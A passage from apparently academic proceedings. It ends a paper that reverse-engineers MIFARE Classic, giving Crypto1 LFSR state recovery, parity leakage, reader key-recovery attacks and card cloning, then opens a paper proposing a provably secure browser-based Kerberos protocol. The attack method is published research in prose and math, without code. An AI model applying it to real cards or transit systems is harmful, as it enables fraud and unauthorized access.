r48, . . . are successive states of the LFSR; Condition (3) says that it generates
the required keystream. Since f only depends on 20 bits of the LFSR, we will
overload notation and write f(rk+9, rk+11, . . . , rk+45, rk+47) for f(rk . . . rk+47).
Note that when n is larger than 48, there is typically only one sequence satisfying
(2) and (3), otherwise there are on average 248−n such sequences.

During our attack we build two tables of approximately 219 elements. These
tables contain respectively the even numbered bits and the odd numbered bits
of the LFSR sequences that produce the evenly and oddly numbered bits of the
required keystream.

We proceed as follows. Looking at the first bit of the keystream, b0, we gen-
erate all sequences of 20 bits s0s1 . . . s19 such that f(s0, s1, . . . , s19) = b0. The
structure of f guarantees that there are exactly 219 of these sequences. Note
that the sequences r̄ of the LFSR that we are looking for must have one of these
sequences as its bits r9, r11, . . . , r47.

For each of the entries in the table, we now do the following. We view the
entry as the bits 9, 11, . . . , 47 of the LFSR. We now shift the LFSR two positions
to the left. The feedback bit, which we call s20, that is shifted in second could
be either 0 or 1; not knowing the even numbered bits of the LFSR nor the low
numbered odd ones, we have no information about the feedback. We can check,
however, which of the two possibilities for s20 matches with the keystream, i.e.,
which satisfy f(s1, s2, . . . , s20) = b2. If only a single value of s20 matches, we
extend the entry in our table by s20. If both match, we duplicate the entry,
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Fig. 9. Subsequences s̄ and t̄

extending it once with 0 and once with 1. If neither matches, we delete the
entry. On average, 1/4 of the time we duplicate an entry, 1/4 of the time we
delete an entry, and 1/2 of the time we only extend the entry. Therefore, the
table stays, approximately, of size 219.

We repeat this procedure for the bits b4, b6, . . . , bn−1 of the keystream. This
way we obtain a table of approximately 219 entries s0s1 . . . s19+n/2 with the
property that f(si, si+1, . . . , si+19) = b2i for all i ∈ {0, 1, . . . , n/2}. Consequently,
the sequences r̄ of the LFSR that we are looking for must have one of the entries
of this table as its bits r9, r11, . . . , r47+n.

Similarly, we obtain a table of approximately 219 entries t0t1 . . . t19+n/2 with
the property that f(ti, ti+1, . . . , ti+19) = b2i+1 for all i ∈ {0, 1, . . . , n/2}.

Note that after only 4 extensions of each table, when all entries have length 24,
one could try every entry s0s1 . . . s23 in the first table with every entry t0t1 . . . t23
in the second table to see if s0t0s1 . . . t23 generates the correct keystream. Note
that this already reduces the search complexity from 248 in the brute force case
to (219)2 = 238.

To further reduce the search complexity, we now look at the feedback of the
LFSR. Consider an entry s̄ = s0s1 . . . s19+n/2 of the first table and an entry
t̄ = t0t1 . . . t19+n/2 of the second table. In order that r̄ = s0t0s1 . . . t19+n/2 is
indeed generated by the LFSR, it is necessary (and sufficient) that every 49
consecutive bits satisfy the LFSR relation (2), i.e., the 49th must be the feedback
generated by the previous 48 bits.

So, for every subsequence sisi+1 . . . si+24 of 25 consecutive bits of s̄ we com-
pute its contribution b1,s̄

i = sk ⊕ si+5 ⊕ si+6 ⊕ si+7 ⊕ si+12 ⊕ si+21 ⊕ si+24 of the
LFSR relation and for every subsequence titi+1 . . . ti+23 of 24 consecutive bits
of t̄ we compute b2,t̄

i = ti+2 ⊕ ti+4 ⊕ ti+7 ⊕ ti+8 ⊕ ti+9 ⊕ ti+12 ⊕ ti+13 ⊕ ti+14 ⊕
ti+17 ⊕ ti+19 ⊕ ti+20 ⊕ ti+21. See Figure 9. If s0t0s1 . . . tn/2 is indeed generated
by the LFSR, then

b1,s̄
i = b2,t̄

i for all i ∈ {0, . . . , n/2 − 5}. (4)

Symmetrically, for every subsequence of 24 consecutive bits of s̄ and corre-
sponding 25 consecutive bits of t̄, we compute b̃1,s̄

i = si+2 ⊕ si+4 ⊕ si+7 ⊕
si+8 ⊕ si+9 ⊕ si+12 ⊕ si+13 ⊕ si+14 ⊕ si+17 ⊕ si+19 ⊕ si+20 ⊕ si+21 and b̃2,t̄

i =
ti ⊕ ti+5 ⊕ ti+6 ⊕ ti+7 ⊕ ti+12 ⊕ ti+21 ⊕ ti+24. Also here, if s0t0s1 . . . tn/2 is indeed
generated by the LFSR, then

b̃1,s̄
i = b̃2,t̄ for all i ∈ {0, . . . , n/2 − 5}. (5)
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Fig. 10. Encryption of parity bits

One readily sees that together, conditions (4) and (5) are equivalent to
equation (2).

To efficiently determine the LFSR state sequences that we are looking for, we
sort the first table by the newly computed bits b1,s̄

0 . . . b1,s̄
n/2−5b̃

1,s̄
0 . . . b̃1,s̄

n/2−5, and
the second table by b2,t̄

0 . . . b2,t̄
n/2−5b̃

2,t̄
0 . . . b̃2,t̄

n/2−5.
Since s0t0s1 . . . tn/2 is generated by the LFSR if and only b1,s̄b̃1,s̄ = b2,t̄b̃2,t̄ and

since by construction it generates the required keystream, we do not even have
to search anymore. The complexity now reduces to n loops over two tables of size
approximately 219 and two sortings of these two tables. For completeness sake,
note that from our tables we retrieve r9r10 . . . r46+n. So to obtain the state of the
LFSR at the start of the keystream, we have to roll back the state r9r10 . . . r58

9 steps.
In a variant of this method, applicable if we have sufficiently many bits of

keystream available (64 will do), we only generate one of the two tables. For
each of the approximately 219 entries of the table, the LFSR relation (1) can
then be used to express the ‘missing’ bits as linear combinations (over F2) of the
bits of the entry. We can then check if it produces the required keystream.

This construction has been implemented in two ways. First of all as C code
that recovers states from keystreams. Secondly also as a logical theory that has
been verified in the theorem prover PVS [ORSH95]. The latter involves a logical
formalization of many aspects of the mifare Classic [JW08].

6.4 Parity Bits

Every 8 bits, the communication protocol sends a parity bit. It turns out that the
parity is not computed over the ciphertext, at the lowest level of the protocol,
but over the plaintext. The parity bits themselves are encrypted as well; however,
they are encrypted with the same bit of keystream that is used to encrypt the
next bit. Figure 10 illustrates the mapping of the keystream bits to the plaintext.

In general, this leaks one bit of information about the plaintext for every byte
sent. This can be used to to drastically reduce the search space for tag nonces
in Section 8.

7 Attacking MIFARE

Attack One. Summarizing, an attacker can recover the secret key from a mi-

fare reader as follows.
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First, the attacker generates the table of (lfsr, ks) tuples as described in
Section 6.1. This one terabyte table can be computed in one afternoon on stan-
dard hardware and can be reused.

Next, the attacker initiates 4096 = 212 authentication sessions and computes
ks2, ks3 for each of these sessions as described in Section 4.1. Note that this
only requires access to a reader and not to a tag. As explained in Section 6.1,
it is possible to recover the state of the LFSR prior to feeding in nR. Then, as
explained in Section 6.2, it is also possible to recover the state prior to feeding
in nT ⊕ uid. I.e., the secret key is recovered!

Experiments show that it is typically possible to gather between 5 and 35
partial authentication sessions per second from a mifare reader, depending on
whether or not the reader is online. This means that gathering 4096 sessions
takes between 2 and 14 minutes.

Attack Two. Instead of using the table, we can also use the invertibility of
f described in Section 6.3 to recover the state of the LFSR at the end of the
authentication. This way, we only need a single (partial) authentication session.

Note that this attack cannot be stopped by fixing the readers to not continue
communication after communication fails. With the knowledge of just ks2, we
can invert f to find approximately 65536 candidate keys; these can be checked
against another authentication session.

In practice, a relatively straightforward implementation of this attack takes
less than one second of computation and only about 8 MB of memory on ordinary
hardware to recover the secret key. Moreover, it does not require any kind of
pre-computation, rainbow tables, etc. A highly optimized implementation of the
single table variant consumes virtually no memory and recovers the secret key
within 0.1 second on the same hardware.

8 Multiple-Sector Authentication

Many systems authenticate for more than one sector. Starting with the second
authentication the protocol is slightly different. Since there is already a session
key established, the new authentication command is sent encrypted with this
key. At this stage the secret key K ′ for the new sector is loaded into the LFSR.
The difference is that now the tag nonce nT is sent encrypted with K ′ while it
is fed into the LFSR (resembling the way the reader nonce is fed in). From this
point on the protocol continues exactly as before, i.e., the reader nonce is fed in,
etc.

To clone a card, one typically needs to recover all the information read by
the reader and this usually involves a few sectors. To do so, we first eavesdrop
a single, complete session which contains authentications for multiple sectors.
Once we have recovered the key for the first sector as described in Section 7,
we proceed to the next sector read by the reader. The authentication request
is now encrypted with the previous session key, but this is not a problem: we
just recovered that key, so we can decrypt the authentication request. The issue
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now is that we need the tag nonce nT to mount our attacks and it is encrypted
with the key K ′ which we do not yet know. We can, of course, simply try all 216

possible tag nonces to execute our attack.
Using the parity bits, however, the number of possible tag nonces can be

drastically reduced. The first three parity bits, say p0, p1, p2, of the tag nonce
nT are encrypted with the keystream bits that are also used to encrypt bits n8,
n16, and n24 of nT . That is, from the communication we can observe p0 ⊕ b8,
n8 ⊕ b8, where b8 is the keystream bit that is used to encrypt n8, and similarly
for the other two parity bits. From this we can see whether or not p0, the parity
of the first byte of nT , is equal to n8, the first bit of the second byte of nT .
This information decreases the number of potential nonces by a factor of 2.
The same holds for the other 2 parity bits in nT and for the 7 parity bits in
suc2(nT ) and suc3(nT ). In total, the search space is reduced from 216 nonces to
only 216/210 = 64 nonces.

A not yet well-understood phenomenon allows us to select almost immediately
the correct nonce out of those 64 candidates. The pseudo-random generator of
the tag keeps shifting during the communication in a predictable way. This
enables us the predict the distance d(nT , n′

T ) between the tag nonce nT used in
one authentication session and the tag nonce n′

T used in the next. Distance here
means the number of times the pseudo-random number generator has to shift
after outputting nT before it outputs n′

T . The relation we found experimentally
is d(nT , n′

T ) = 8t − 55c − 400, where t is the time between the sending of the
encrypted reader nonce in the first authentication session and the authenticate
command that starts the next session (expressed in bit-periods, the time it takes
to send a single bit, approximately 9.44µs) and c is the number of commands
the reader sends in the first session. However, we do not know precisely why this
relation holds and if it holds under all circumstances. In practice, the correct
nonce is nearly always the one (from the 64 candidates) whose distance to nT is
closest to d(nT , n′

T ). Consequently, keys for subsequent sectors are obtained at
the same speed as the key for the first sector.

9 Consequences and Conclusions

We have reverse engineered the security mechanisms of the mifare Classic chip.
We found several vulnerabilities and successfully managed to exploit them, re-
trieving the secret key from a genuine reader. We have presented two very prac-
tical attacks that, to retrieve the secret key, do not require access to a genuine
tag at any point.

In particular, the second attack recovers a secret key from just one or two
authentication attempts with a genuine reader (without access to a genuine tag)
in less than a second on ordinary hardware and without any pre-computation.
Furthermore, an attacker that is capable of eavesdropping the communication
between a tag and a reader can recover all keys used in this communication.
This enables an attacker to decrypt the whole trace and clone the tag.
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What the actual implications are for real life systems deploying the mifare

Classic depends, of course, on the system as a whole: contactless smart cards
are generally not the only security mechanism in place. For instance, public
transport payment systems such as the Oyster card and OV-Chipkaart have
a back-end system recording transactions and attempting to detect fraudulent
activities (such as traveling on a cloned card). Systems like these will now have
to deal with the fact that it turns out to be fairly easy to read and clone cards.
Whether or not the current implementations of these back ends are up to the
task should be the subject to further scrutiny. We would also like to point out
that some potential of the mifare Classic is not being used in practice, viz.,
the possibility to use counters that can only be decremented, and the possibility
to read random sectors for authentication. Whether or not this is sufficient to
salvage the mifare Classic for use in payment systems is the subject of further
research [TN08].

In general, we believe that it is far better to use well-established and well-
reviewed cryptographic primitives and protocols than proprietary ones. As was
already formulated by Auguste Kerckhoffs in 1883, and what is now known as
Kerckhoffs’ Principle, the security of a cryptographic system should not depend
on the secrecy of the system itself, but only on the secrecy of the key [Ker83].
Time and time again it is proven that details of the system will eventually become
public; the previous obscurity then only leads to a less well-vetted system that
is prone to mistakes.
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[NP07] Nohl, K., Plötz, H.: Mifare, little security, despite obscurity. In: Presenta-
tion on the 24th Congress of the Chaos Computer Club. Berlin (December
2007)

[ORSH95] Owre, S., Rushby, J.M., Shankar, N., von Henke, F.: Formal verification
for fault-tolerant architectures: Prolegomena to the design of PVS. IEEE
Transactions on Software Engineering 21(2), 107–125 (1995)

[TN08] Teepe, W., Nohl, K.: Making the best of MIFARE Classic (manuscript,
2008)



A Browser-Based Kerberos Authentication

Scheme

Sebastian Gajek1, Tibor Jager1, Mark Manulis2, and Jörg Schwenk1
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Abstract. When two players wish to share a security token (e.g., for
the purpose of authentication and accounting), they call a trusted third
party. This idea is the essence of Kerberos protocols, which are widely
deployed in a large scale of computer networks. Browser-based Kerberos
protocols are the derivates with the exception that the Kerberos client
application is a commodity Web browser. Whereas the native Kerberos
protocol has been repeatedly peer-reviewed without finding flaws, the
history of browser-based Kerberos protocols is tarnished with negative
results due to the fact that subtleties of browsers have been disregarded.
We propose a browser-based Kerberos protocol based on client certifi-
cates and prove its security in the extended formal model for browser-
based mutual authentication introduced at ACM ASIACCS’08.

1 Introduction

Motivation. An immediate goal browser-based protocols strive for to meet
is user authentication and access control to services or private information. A
widely adopted approach is to use TLS in server authenticated mode and ex-
ecute a protocol on top, where the user enters a password in a Web form. To
this end, the user has to memorize a plethora of passwords. The problem with
passwords is that the user frequently forgets about them. Otherwise, it would
be unnecessary to include a ”‘Forgot your password”’ link in a Web applica-
tion). Furthermore, the user tends to recurrently choose the same low-entropy
password, thus making offline dictionary attacks feasible. In order to alleviate
the problem, 3-party authentication protocols have been introduced where a
trusted third party is asked to issue a token that is valid for a fixed time period
and permits access to some service. A pioneer and quite successful protocol for
closed networks that emulates the task is the widely adapted Kerberos proto-
col [1]. Here, the Kerberos server issues an token in form of a ticket that the
client may redeem to authenticate to a server. Related protocols that adapt the
idea are Microsoft’s Passport and its successor Cardspace, the Security Assertion
Markup Language (SAML), the Liberty Alliance project, the Shibboleth project
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for university identity federation, or WS-Federation, whereby SAML is an open
protocol standard and basis for Liberty and Shibboleth.

The migration of the Kerberos idea to open networks, in particular, the In-
ternet is peppered with problems (see Section 2). In particular, the problem
with the browser-based realization is that some assumptions have been made
which are unfounded today. Most notably, the user is assumed to determine the
authenticity of a Web server on the basis of server certificate and the Domain
Name System (DNS) is assumed to be an authentic host name resolution pro-
tocol. The first clashes with usability studies, showing that the average Internet
user neither understands server certificates nor perceives the security indicators
in commodity browsers [8,23]. The latter is a crucial factor for the enforcement
of the Same Origin Policy (SOP). This security policy, which is universally sup-
ported by browsers, loosely states that Web objects are accessible by other Web
objects under the condition that they are from the same domain. However, many
attacks against the domain name resolution exist, ranging from Javascript code
that alters a router’s configuration [22] to large scale DNS attacks [15]. A related
attack vector arises from cross Site scripting (XSS) attacks [16] where the ad-
versary injects some malicious code into the response of the application server.
Since the code is in the same security context, the SOP does not apply. Con-
sequently, malicious code can break free and invoke arbitrary browser scripting
functionalities.

Our Contribution. We solve the above problems by presenting a Browser-
based Kerberos-like protocol, in the following denoted by BBKerberos, that is
close to the native Kerberos scheme. Our BBKerberos protocol.

– combines authentication with key agreement: The user authenticates to the
Kerberos server through a TLS client certificate in addition to (optional)
passwords. The Kerberos server issues an authentication ticket for the ap-
plication server which is concealed within an HTTP cookie. The cookie is
transferred in another TLS session whereby the browser authenticates to the
server using the same client certificate. Thus in both TLS connections key
agreement is linked to authentication through the client certificate.

– binds the Kerberos ticket to a specific browser. The ticket is linked to the
client certificate. Thus, attacks that enable adversaries to extract the cookie
carrying the Kerberos ticket (e.g. XSS, Pharming) work. However, the at-
tacker is now unable to use the cookie. The reason is that the application
server learns from the underlying TLS protocol session that the client is a
legitimate owner of the client certificate (note that in the TLS protocol the
client authenticates to the Kerberos server by signing a protocol transcript
and proving ownership of the corresponding private key). Here, we make use
of the fact that any feasible adversary does not have access to the long-term
secrets for the TLS layer. It has only access to secrets on application layer.
Conversely, the application server may extract the public key from the TLS
layer and verify the cookie.

– provides secure single sign-on. The sign-on ticket may also be reused in
a federation of application servers. Application servers need to establish a
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TLS-protected channel where the client conveys a certificate matching the
cookie binding and where the client demonstrates that it knows the corre-
sponding secret key.

Organization. The remaining sections are structured as follows. We review
related work in Section 2. In Section 3, we present the formal security model
for browser-based authentication protocols, and use it to analyze BBKerberos in
Section 4. Finally, we conclude in Section 5.

2 Related Work

The native Kerberos protocol has been studied without finding severe flaws [6,3].
By contrast, few browser-based Kerberos protocols have been subject to rigorous
security analysis. The first attempt to disburden from a client application and
employ a browser’s capabilities has led to Microsoft’s Passport protocol. Unfor-
tunately, it turned out that the protocol had some vulnerabilities [17]. Korman
and Rubin show that the adversary is able to steal the ticket granting ticket
cookie by mounting a DNS attack. In addition to the Passport analysis due
to [17], Groß [12] analyzes SAML, an alternative identity management pro-
tocol, and shows that the protocol is vulnerable to adaptive attacks where the
adversary intercepts the authentication token contained in the URL. Groß makes
use of the fact that browsers add the URL in a referrer tag into a HTTP re-
sponse when they are redirected. Hence, a man-in-the-middle adversary signaling
the browser to redirect the request to a rogue server retrieves the authentica-
tion token from the referrer tag. The previously described flaw in the SAML
protocol has led to a revised version of SAML. Groß and Pfitzmann analyzed
this version, again finding the need for improvements [13]. Similar flaws have
been found in the analysis of the Liberty single sign on protocol [20] due to
Pfitzmann and Waidner. The authors point out some weaknesses in presence
of man-in-the-middle attacks. Gajek, Schwenk and Xuan show that Microsoft’s
identity metasystem CardSpace is vulnerable to dynamic pharming attacks and
enables the adversary to steal a security token [11].

3 Modeling BBKerberos with Client Certificates

In this section we refine the original security model for mutual authentication
from [10] to capture adversarial queries where the adversary access the DOM.
Similar to [10] we consider an active probabilistic polynomial time (PPT) ad-
versary who interacts with involved parties through queries and controls all the
communication.

3.1 Protocol Participants and Communication Model

Server, Browser, Authentication Server. We consider the server S, the
browser C, and the authentication server (e.g. Kerberos server) K as participants
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of a BBKerberos protocol Π . We make the weak security assumptions on C to
represent a practical setting, namely that web objects stored in C (see below) can
be accessed by the adversary via the DOM (by mounting DNS or XSS attacks).
However, the adversary does not have the privilege to access the private key of
the Web browser. Since we do not consider attacks on either S or K, we model
both servers as being secure.

The browser C is modeled as a PPT machine that exchanges protocol messages
with S and K through physical communication links.We further assume that the
authentication serverK is able to identify the browser C. This is achieved through
client certificates. In high security applications trust in the client certificate must
once be established, using some out-of-band mechanisms.

Remark 1. We cannot expect an average Internet user acting ”behind” C to
properly identify K. In order to relax the assumption, the construction based
on human perceivable authenticator, proposed in [10], may be employed in our
protocol.

Modeling Browser DOM Access. The browser plays the role of a messenger
and transports the messages from the authentication server K to the application
server S (and vice versa), however, is unaware of the semantic meaning: It takes
a message m ∈ M from the message space M ∈ {0, 1}λ1(κ) (the space of all web
objects) that K wishes to send to S and stores the information according to the
browser’s state Ψ ∈ {0, 1}λ2(κ) to U as a Web object. (Here and in the following,
λi : N → N, i ∈ [1, 2] is a polynomial and κ is the security parameter). State
Ψ denotes the browser’s configuration for processing the retrieved message that
may be altered by querying the browser’s DOM1 model.

Loosely speaking, the DOM model describes the browser’s tree-based view
of a Web page and defines access to document nodes, browser and connection
information through the use of Web scripting languages (e.g., Javascript). One
important security policy is the same origin policy. This policy which is uni-
versally supported in browsers, ensures that there is no communication between
pages that have different domains. This includes access to the browser’s chrome,
cache, cookies, and history. Access to any ephemeral and long-term secrets which
are stored in separated containers, or the ability to open, create or delete a file
from the operating system, are subject to different security policies which nor-
mally involve user interaction.

Remark 2. There are different methods to send messages from one server to
another through the browser:

– The most popular mechanism are HTTP cookies. Cookies are short text
messages which contain (name, value) pairs. Cookies can be persistent, i.e.
they can be stored in the browser for a certain time, and they can be set for
a target address that consists of a domain and a path within that domain.
Cookies can directly be sent to the destination server by combining the

1 Document Object Model, see [24] for details.
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Set-Cookie directive in the HTTP header with a redirect status code from
the sending web server. However, for security reasons this mechanism is
restricted to servers from the same domain. Thus in the general case we
must use other mechanisms to transport data from K to S across Domain
boundaries (e.g. HTTP POST and GET of hidden form fields).

– Dynamically generated URLs are hyperlinks within a HTML document,
where part of the URL is used to encode the data to be transmitted. They
are not persistent and will be deleted when the HTML document is closed.
Since hyperlinks are treated differently according to their position within the
HTML document, they can be used to send data directly (e.g. when used
within an image tag), or only after some user action.

– Hidden HTML forms are normal HTML forms that a hidden from the user,
i.e. the form will not be displayed. This only makes sense if the form is
already filled with data, and this data can be transported to another server
triggered by events. Data can be sent as POST data, or as a GET query
string, and may later be persistently stored by the receiving server in form
of a HTTP cookie.

All the above methods support the immediate transmission of data between two
servers through the browser as an intermediary. They further have in common
that the data is stored for some time within the DOM of the browser, and is thus
vulnerable to DNS and XSS attacks. In the following, we will use HTTP cookies
to transport data from the authentication server K to the application server S
and vice versa. Our proof applies to other transport mechanisms as well.

Protocol Sessions and Instances. In order to model participation of C, S
and K in distinct executions of the same BBKerberos protocol Π we consider
instances [C, sidC], [S, sidS ] and [K, sidK] where sidC , sidS , sidK ∈ N are respec-
tive session identifiers. If sidC = sidS or sidC = sidK then we assume that both
instances belong to the same session, and say the instances are partnered. Note
that in our protocol sidC , sidS and sidK will be given by the concatenation of
random nonces exchanged between C and S (resp. C and K) in the beginning of
the TLS handshake protocol. For simplicity, we sometimes omit the indication
of the instance and write C, S and K instead. Whether the actual party or its
instance is denoted is usually visible from the context.

Execution States. Each instance [C, sidC], [K, sidK] and [S, sidS ] may be ei-
ther used or unused. The instance is considered as unused if it has never been
initialized. Each unused instance can be initialized with the corresponding long-
lived key. The instance is initialized upon being created. After the initialization
the instance is marked as used, and turns into the stand-by state where it waits
for an invocation to execute the protocol. Upon receiving such invocation the
instance turns into a processing state where it proceeds according to the proto-
col specification. The instance remains in the processing state until it collects
enough information to decide whether the execution was successful or not, and
to terminate then. If the execution is successful then we say that the instance
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accepts before it terminates. In case that the execution was not successful (due
to failures) instances terminate without accepting, i.e., they abort.

3.2 Security Model

In the following we specify attacks and security goals for BBKerberos protocols
from the perspective of fixed identities C, S and K.

Assumptions. The adversary A controls all communication between the pro-
tocol parties. This implies:

- The adversary controls the domain name resolution. Upon sending forged
domain resolution responses, the adversary foils browsers’ same origin policy.
Then, the adversary has access to the DOM model. That is, the adversary
has access to the browser’s chrome, cache, cookies, and history; specifically,
we assume that the cookie containing the Kerberos ticket is known to the
adversary. However, the adversary is prevented from opening, creating or
deleting a file from the operating system; thus he can not read the browser’s
private key from disk or from memory.

- The adversary issues public keys which C accepts. There is no trusted third
party in the sense of a trusted CA. Hence, a certified public key in a X.509
server certificate is treated as a public key that can be identified by a unique
identifier (i.e., hash value of the public key).

- The adversary is unable to corrupt C. Note that in this model we do not
deal with malware attacks against the browser and server, therefore, do not
consider the case where A reveals the ephemeral and longterm secrets stored
inside C.

- The adversary is unable to corrupt S or K. Note also that in this model
we do not deal with malware attacks against the servers. This means that
the adversary is excluded from revealing the ephemeral and longterm secrets
stored inside S or K.

Adversarial Queries. The adversary A can participate in the actual protocol
execution via the following queries:

- Execute(C, P ) (P ∈ {K,S}): This query models passive attacks where the
adversary A eavesdrops the execution of the new protocol session between
C and P . A is given the corresponding transcript.

- Invoke(C, P ) (P ∈ {K,S}): C starts the protocol execution with the new
instance of P and A obtains the first protocol message returned by B (which
is usually generated on some input received from C, e.g., the entered URL).

- Send(P, m): This query models active attacks where A sends a message to
some instance of P ∈ {C,K,S}. The adversaryA receives the response which
P would generate after having processed the message m according to the
protocol specification (note that the response may be an empty string if m
is unexpected).
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- RevealDOM(C): This query (which is refined in comparison to [10]) models
attacks which reveal information stored with the browser’s DOM, i.e. Ψ .
Technically, the adversary queries for the authentication token (as stored in
a cookie). Note that RevealDOM(C) enables the adversary to read the DOM.
However, the adversary is prevented from writing the DOM, i.e. subverting
the protocol execution by injecting malicious script code.

Protocol Execution in the Presence of A. By asking the Execute(C, P )
(P ∈ {K,S}) query A obtains the transcript of the complete protocol execution
between new instances of C and P without being able to perform any further
actions during this execution. We assume that at most qex such queries can be
asked during the attack. On the other hand, if A wishes to actively participate
in the execution of Π then it can ask a special invocation query Invoke(C, P )
implying that a new instance of C starts the protocol execution with the new
instance of P using the associated instance of browser C. A then obtains the
first protocol message returned by C. Active participation of A is defined further
through at most qs Send queries. We also assume that A can ask at most qin

Invoke and qr RevealDOM queries. Thus, the total number of queries which can be
asked by the PPT adversary during the duration of the attack is upper-bounded
by q := qex + qin + qs + qr.

Correctness and Authentication. The following definition specifies the cor-
rectness requirement for BBKerberos protocols.

Definition 1 (Correctness). A browser-based Kerberos protocol Π is correct
if each Execute(C, P ) query where P ∈ {K,S} results in two instances, [C, sidC ]
and [P, sidP ] which are partnered (sidC = sidP ) and accept prior to termination.

In the following we define the main security goal of browser-based Kerberos
protocols, namely the requirement of authentication of C to S which is implied
by an authentic communication between C and K. The adversary A wins when
he succeeds in authenticating to either K or S as a legitimate C.

Definition 2 (Authentication of C). Let Π be a correct browser-based Ker-
beros protocol and Gamebb−auth

Π (A, κ) the interaction between the instances of C,
K and S with a PPT adversary A who is allowed to query Execute, Invoke, Send,
and RevealDOM. We say that A wins if at some point during the execution for
sid′C �=sidC:

1. An instance [C, sidC] accepts but there is no partnered instance [S, sidS ], or
an instance [S, sidS ] accepts but there is no partnered instance [C, sidC], or

2. an instance [C, sid′C ] accepts but there is no partnered instance [K, sidK], or
an instance [K, sidK] accepts but there is no partnered instance [C, sid′C].

The maximum probability of this event (over all adversaries running within
the security parameter κ, and all public keys pkC registered with K) is denoted
SuccΠ(A, κ) = maxA |Pr[A wins in Gamebb−auth

Π (A, κ)|. We say that a browser-
based Kerberos protocol Π provides authentication if this probability is a
negligible function of κ.
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The first requirement ensures that C authenticates to the matching server S; the
second requirement ensures a matching conversation with K. (It is important to
note that the second requirement is an prerequisite in our protocol to achieve
the first. Details follow.)

4 The BBKerberos Protocol

4.1 Building Blocks

TLS Protocol. A main pillar of BBKerberos is the mutually authenticated key
transport/key agreement [2]. The security of the TLS protocol has already been
analyzed with respect to certain cryptographic primitives or in an abstract term-
algebra (see [9]). However, since we combine two TLS sessions with higher-layer
protocols, the security analyses cited above are insufficient. We thus use a model
similar to [5] to model the security requirements and the proof. We describe the
protocol using the most common, RSA based variant. All other ciphersuites are
of course possible as well.

Cryptographic Primitives. In order to be able to use the term “negligible” in
a mathematically correct way, here and in the following let pi : N → N, i ∈ [1, 5]
be polynomials, and let κ ∈ N be a security parameter. However, note that in
practice many parameters in TLS are fixed in their length. As usual, we formalize
the notion of an algorithm trying to solve a certain computational problem in
order to compromise the security goals of our protocol and its building blocks by
a probabilistic Turing machine running in time polynomial in κ (PPT adversary).

In our BBKerberos protocol we make use of the (well-known) cryptographic
primitives used by the cryptographic suites of the TLS protocol, namely:

– A pseudo-random function PRF : {0, 1}p3(κ) × {0, 1}∗ → {0, 1}∗. Note that
TLS defines PRF with data expansion s.t. it can be used to obtain outputs
of a variable length which becomes useful for the key derivation phase. By
Advprf

PRF (κ) we denote the maximum advantage over all PPT adversaries (run-
ning within security parameter κ) in distinguishing the outputs of PRF from
those of a random function better than by a random guess.

– A symmetric encryption schemes which provides indistinguishability un-
der chosen plaintext attacks (IND-CPA). The symmetric encryption oper-
ation is denoted Enc and the corresponding decryption operation Dec. By
Advind−cpa

(Enc,Dec)(κ) we denote the maximum advantage over all PPT adversaries
(running within security parameter κ) in breaking the IND-CPA property
of (Enc, Dec) better than by a random guess;

– An IND-CPA secure asymmetric encryption scheme whose encryption op-
eration is denoted E and the corresponding decryption operation D. By
Advind−cpa

(E,D) (κ) we denote the maximum advantage over all PPT adversaries
(running within security parameter κ) in breaking the IND-CPA property
of (E ,D) better than by a random guess.
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– A collision-resistant hash function Hash : {0, 1}∗ → {0, 1}p4(κ). We denote
by Succcoll

Hash(κ) the maximum success probability over all PPT adversaries
(running within security parameter κ) in finding a collision, i.e., a pair
(m, m′) ∈ {0, 1}∗ × {0, 1}∗ s.t. Hash(m) = Hash(m′).

– A digital signature scheme which provides existential unforgeability under
chosen message attacks (EUF-CMA). The signing operation is denoted Sig

and the corresponding verification operation V er. By Succeuf−cma
(Sig,V er)(κ) we

denote the maximum success probability over all PPT adversaries (running
within security parameter κ) given access to the signing oracle in finding a
forgery;

– The well-known message authentication code function HMAC which is be-
lieved to satisfy weak unforgeability under chosen message attacks (WUF-
CMA) [4]. By Succwuf−cma

HMAC (κ) we denote the maximum success probability
over all PPT adversaries (running within security parameter κ) given access
to the tagging/verification oracle in finding a forgery.

4.2 Protocol Description

Initialization Phase. Before BBKerberos can be executed, a registration phase
is necessary. During this phase, the following keys are exchanged/registered:

– The long-lived key LLC stored in the credential store of the browser C con-
sists of the private/public signature key pair (skC , certC); we assume that
the corresponding public key pkC is part of the certificate. This public key
pkC is registered with the Kerberos server K after some initial out-of-band
authentication.

– The long-lived key LLS consists of the private/public encryption key pair
(skS , certS), and a symmetric encryption key kKS . The key kKS has to be
exchanged out-of-band between K and S.

– Finally, the long-lived key LLK consists of the private/public encryption key
pair (skK, certK).

Execution Phase. In the following we briefly describe the execution of our
BBKerberos protocol specified in Figures 1 and 2. We first give an overview of
the protocol and then describe the TLS handshake,which is performed twice
with different random values in detail.

1. Initiate the Protocol. The browser C initiates the protocol by requesting
an URL from the server S which requires authentication. The server S tells
the browser C to connect to the Kerberos server K using TLS through a
redirect status code.

2. First TLS Handshake. A first TLS handshake with client authentication is
performed between C and K. Both parties exchange certificates, so they know
each other’s public key. The identificator for the negotiated cryptographic
key material is sidC=rC |rK. Symmetric keys are derived from the master
secret km, which in turn is derived from the premaster secret kp. This value
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kp has been chosen randomly by C, and has been sent to K encrypted with
pkK. The browser C authenticates himself by signing a hash of previous
messages. The Kerberos server K authenticates by computing a HMAC over
all previous messages, using a key derived from km.

3. Retrieving the Authentication Cookie. After the TLS handshake, K
knows that he is talking to C through a confidential and authentic channel.
K now issues the ticket tCS , which is authenticated and encrypted by K using
the shared symmetric key kKC whereby the ticket is cryptographically linked
to the client’s public key pkC . The result is encoded as a text string c, sent to
C using HTTP GET or POST, and stored persistently in the browser. The
browser C sends c whenever it thinks it is connected to S.

4. Second TLS Handshake. A second TLS handshake with client authentica-
tion is performed between C and S. Again both parties exchange certificates,
so they know each other’s public key. The new TLS session uses different ses-
sion identifier sid′C=r′C |rK, and secret keys k′

p and k′
m. Again the browser C

authenticates by signing a hash of previous messages. The Kerberos server
K authenticates by computing a HMAC over all previous messages, using a
key derived from k′

m.
5. Authenticating via Kerberos Cookie. After a successful TLS hand-

shake, browser C sends the value c as GET or POST data (and later as a
HTTP cookie) to S. We only require the TLS tunnel to authenticate data
sent from the browser C; confidentiality is not needed. The server S validates
the value c using the key kKS , and if this validation is successful, it com-
pares the public key contained in c to the public key used to authenticate
the browser C. If this comparison is positive, he accepts the Kerberos ticket
contained in c and grants C access to the requested resource.

TLS sessions in detail. The TLS protocol with client authentication in order
to establish a secure transport channel is the main component in our security
analysis. Let l1, l2,l3 and l4 denote the publicly known labels specified in TLS
for the instantiation of PRF. The TLS protocol proceeds as follows:

